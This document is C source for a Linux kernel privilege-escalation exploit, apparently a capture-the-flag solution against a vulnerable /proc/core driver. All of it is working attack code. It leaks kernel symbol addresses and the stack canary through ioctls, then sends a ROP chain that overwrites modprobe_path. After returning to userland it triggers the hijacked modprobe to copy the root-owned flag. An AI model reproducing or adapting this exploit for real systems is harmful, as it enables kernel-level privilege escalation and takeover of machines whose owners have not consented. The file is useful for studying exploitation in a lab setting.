1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
|
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
user_sp += 8;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
int fd;
size_t off, swapgs_restore_regs_and_return_to_usermode;
void leakAddr() {
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
size_t addr = 0;
char t[2] = {0}, name[128] = {0};
while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
if (!strcmp(name, "swapgs_restore_regs_and_return_to_usermode")) {
swapgs_restore_regs_and_return_to_usermode = addr;
off = addr - 0xffffffff81a008da;
printvar(success, "leak swapgs_restore_regs_and_return_to_usermode", addr);
swapgs_restore_regs_and_return_to_usermode += 22;
}
}
fclose(kallsyms);
}
size_t canary;
void leakCanary() {
size_t *buf = calloc(0x1000, 1);
ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, buf);
canary = buf[0];
printvar(success, "leak canary", canary);
free(buf);
}
void get_flag() {
success("Backing from the kernelspace.\n");
system("echo -ne \"\xff\\xff\\xff\\xff\" > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("echo \"#!/bin/sh\" >> /tmp/tp");
system("echo \"cp /root/flag /tmp/flag && chmod a+r /tmp/flag\" >> /tmp/tp");
system("chmod +x /tmp/tp");
execve("/tmp/dummy", NULL, NULL);
system("cat /tmp/flag");
}
void pwn() {
fd = open("/proc/core", O_RDWR);
leakAddr();
leakCanary();
size_t *rop = calloc(0x800, 1);
size_t modprobe_path = off + 0xffffffff8223d8c0;
size_t pop_rdi_ret = off + 0xffffffff81000b2f;
size_t mov_qword_rdx_rdi = off + 0xffffffff812fe0b8;
size_t pop_rdx_ret = off + 0xffffffff810a0f49;
union {
char str[0x8];
size_t num;
} name;
name.num = 0;
strcpy(name.str, "/tmp/tp");
int cur = 8;
rop[cur++] = canary;
rop[cur++] = canary;
rop[cur++] = pop_rdi_ret;
rop[cur++] = name.num;
rop[cur++] = pop_rdx_ret;
rop[cur++] = modprobe_path;
rop[cur++] = mov_qword_rdx_rdi;
rop[cur++] = swapgs_restore_regs_and_return_to_usermode;
rop[cur++] = 0;
rop[cur++] = 0;
rop[cur++] = (size_t) get_flag;
rop[cur++] = user_cs;
rop[cur++] = user_rflags;
rop[cur++] = user_sp;
rop[cur++] = user_ss;
write(fd, rop, 0x800);
free(rop);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
close(fd);
}
int main() {
// signal(SIGSEGV, getRootShell);
saveStatus();
pwn();
return 0;
}
|